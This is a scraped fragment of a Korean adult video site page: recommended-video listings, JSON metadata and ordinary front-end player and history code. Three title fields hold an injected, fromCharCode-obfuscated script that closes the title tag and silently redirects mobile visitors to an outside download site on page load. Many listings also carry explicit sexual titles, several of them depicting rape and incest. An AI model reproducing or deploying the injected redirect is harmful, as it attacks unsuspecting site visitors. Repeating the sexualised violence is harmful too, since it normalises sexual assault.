추천 영상
31:12
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>매혹적인 미모의 아내가 호텔에서 최고의 남자와 만나 섹스를 하고 그의 성기를 부드럽게 핥습니다.</script></title>
01:56:34
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>미친 사랑 - 이웃을 스토킹하고 사랑과 욕망에 빠져 허우적거리는: 바람피우는 큰 가슴의 의존적인 아내 - 호시노 나나미 人妻园剧场
01:58:10
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>정자가 없는 남편을 위해, 30일 동안 사정하지 않은 독신 남성과 격렬한 생식 섹스를 즐기기 위해 허름한 집에 왔습니다. 기타노 미나, 혼추
매혹적인 미모의 아내가 호텔에서 최고의 남자와 만나 섹스를 하고 그의 성기를 부드럽게 핥습니다.","lastmod":"2026-07-11","duration":"31:12","url":"/play/19164456.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWMxNTM3MzY0ODZkZTI2MDU5MjUxMTVhMmMyNDE4OGUuanBn.cache","vod_id":19003361,"title":"회사 여성들의 성 서비스","lastmod":"2025-03-23","duration":"05:39","url":"/play/19003361.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDM3MmU3YTEyN2QyZjg0OThmYzEyZWY4MzZiY2YzYjUuanBn.cache","vod_id":18990611,"title":"MIAA-195 이웃집 아내 × 역 NTR: 여자친구가 없는 사이, 그는 옆집에 사는 음탕하고 글래머러스한 주부에게 반복적으로 강간과 성추행을 당한다... 마리아 나가이 (근친상간)","lastmod":"2025-03-23","duration":"01:55:13","url":"/play/18990611.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDNhMTZhYzVmMWRlMDAzYmE1YmZjZDJjNGJjY2UxNDEuanBn.cache","vod_id":19149050,"title":"100일 후 강간당한 아내는 임신까지 ○○일밖에 남지 않았다. 기혼 여성의 완전한 타락을 그린 이야기. NGOD-319","lastmod":"2026-03-19","duration":"02:10:38","url":"/play/19149050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvMDEyZmFhYTJkOTI1YTAwYmVkZjRjZmQ3ZjRlNDE5NDIuanBn.cache","vod_id":19166591,"title":"
C-2879 나는 내 집에 사는 아내의 친구 \"료카(가명), 34세\"에게 접근하는 것을 당연하게 여겼다(27) 고이치 타카하시 고고스","lastmod":"2026-07-11","duration":"01:59:37","url":"/play/19166591.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjEvMGU2ZDU3ZDIwZGM2ODZlYTU1MmE2NDJjYWUxNzQ3OGUuanBn.cache","vod_id":19063801,"title":"\"저는 공허함을 채우고 싶어 하는 성격이에요. 집 안의 가구들, 남편의 도시락통들, 제 외로움까지도요...\" — 클럽에서 만난 기혼 여성, 안웨이 카오루 (YUJ_023)","lastmod":"2025-12-14","duration":"02:13:18","url":"/play/19063801.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDU4Y2U0N2Y2YTczNzY4MjBiMjYzNGYyOWU2ZTY4NzEuanBn.cache","vod_id":18954381,"title":"매혹적인 유부녀가 차 안에서 부유한 남자를 유혹해 열정적인 섹스를 즐긴다. 그녀는 내내 얼굴을 드러낸 채 뒷좌석에서 그에게 오럴 섹스를 해주고, 남자는 그녀의 가슴을 마구 주무르고 쉴 새 없이 삽입한다. 그녀의 신음 소리가 흥분으로 가득 찬 공기를 채운다.","lastmod":"2025-12-14","duration":"00:38:01","url":"/play/18954381.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYjFhOGM4MTIxNTdiOWUxMmNmOTk3NjgyMWI1NjBmZTMuanBn.cache","vod_id":19163848,"title":"미친 사랑 - 이웃을 스토킹하고 사랑과 욕망에 빠져 허우적거리는: 바람피우는 큰 가슴의 의존적인 아내 - 호시노 나나미 人妻园剧场","lastmod":"2026-07-11","duration":"01:56:34","url":"/play/19163848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDBlYTM1NmRhNTFmOGM0OGYxY2ZiNDVlZjI0ZTMzNTkuanBn.cache","vod_id":19135084,"title":"성욕이 왕성하고 가슴이 큰 유부녀가 남편에게 오럴 섹스를 해주고, 남편은 그녀 위로 올라타서 그녀의 애액을 짜낸다.","lastmod":"2025-12-24","duration":"33:49","url":"/play/19135084.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDIvZWVlYTM0MDYxZTkxNGViMTcxNzk3MDM2YjNjODk5YzkuanBn.cache","vod_id":19041076,"title":"NPJS167 거리 인터뷰에 나왔을 뿐인데. 모 프로그램에 출연 한 후, 결혼 유부녀를 AD가 남편보다 먼저 생 하메 땀을 흘린다.","lastmod":"2025-07-01","duration":"01:45:28","url":"/play/19041076.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTFhNTgxZmE5ZWIyNGM3YjQwOGJjMWRkYWQxZDA2OGMuanBn.cache","vod_id":19163540,"title":"정자가 없는 남편을 위해, 30일 동안 사정하지 않은 독신 남성과 격렬한 생식 섹스를 즐기기 위해 허름한 집에 왔습니다. 기타노 미나, 혼추","lastmod":"2026-07-11","duration":"01:58:10","url":"/play/19163540.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTliYTM4MmUwYWQ3YTBkMjQ0YjM3N2E0OWY1ZDU0NjYuanBn.cache","vod_id":19148726,"title":"아마추어 작품 공개! 뛰어난 미모의 기혼 여성, H컵, 사츠키(가명), 29세, FAYS-009","lastmod":"2026-03-17","duration":"01:26:53","url":"/play/19148726.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDgvZDAzN2Y4OTQ1YWU3YzFiOTllYTljZWNkNDU5MDQ0ZGEuanBn.cache","vod_id":19041941,"title":"음탕한 유부녀는 감전되었고, 젊은 여자는 쾌감에 몸을 떨었다.","lastmod":"2025-07-07","duration":"20:18","url":"/play/19041941.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmNhNzgxMGY3MmI3MjUyNTljNDU2OTliYzg1MDJjMDkuanBn.cache","vod_id":18970541,"title":"[중국어 자막] URE-092 원작 - 마이로쿠 마이무 내 여자친구의 엄마는 내 섹스 파트너 - 성욕이 넘치는 글래머 주부와 다양한 크림 파이!","lastmod":"2025-12-14","duration":"02:27:51","url":"/play/18970541.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWEzMTkzZDkyZTJhNWE1NDNiYTBiNmJkZDYyM2Y0MGMuanBn.cache","vod_id":19012457,"title":"YMSR018P2 [2권] 기혼 여성의 항문 성교 훈련: 두 개의 구멍, 악마적인 오르가즘, 그리고 마조히즘 성향의 시골 아내의 5시간 오르가즘 (근친상간)","lastmod":"2025-03-24","duration":"01:24:36","url":"/play/19012457.html"}]},
videoTitle: 'AQSH123 이웃집 아내의 방탕한 복수. 속이 비치는 옷에 유혹당한 그녀...',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}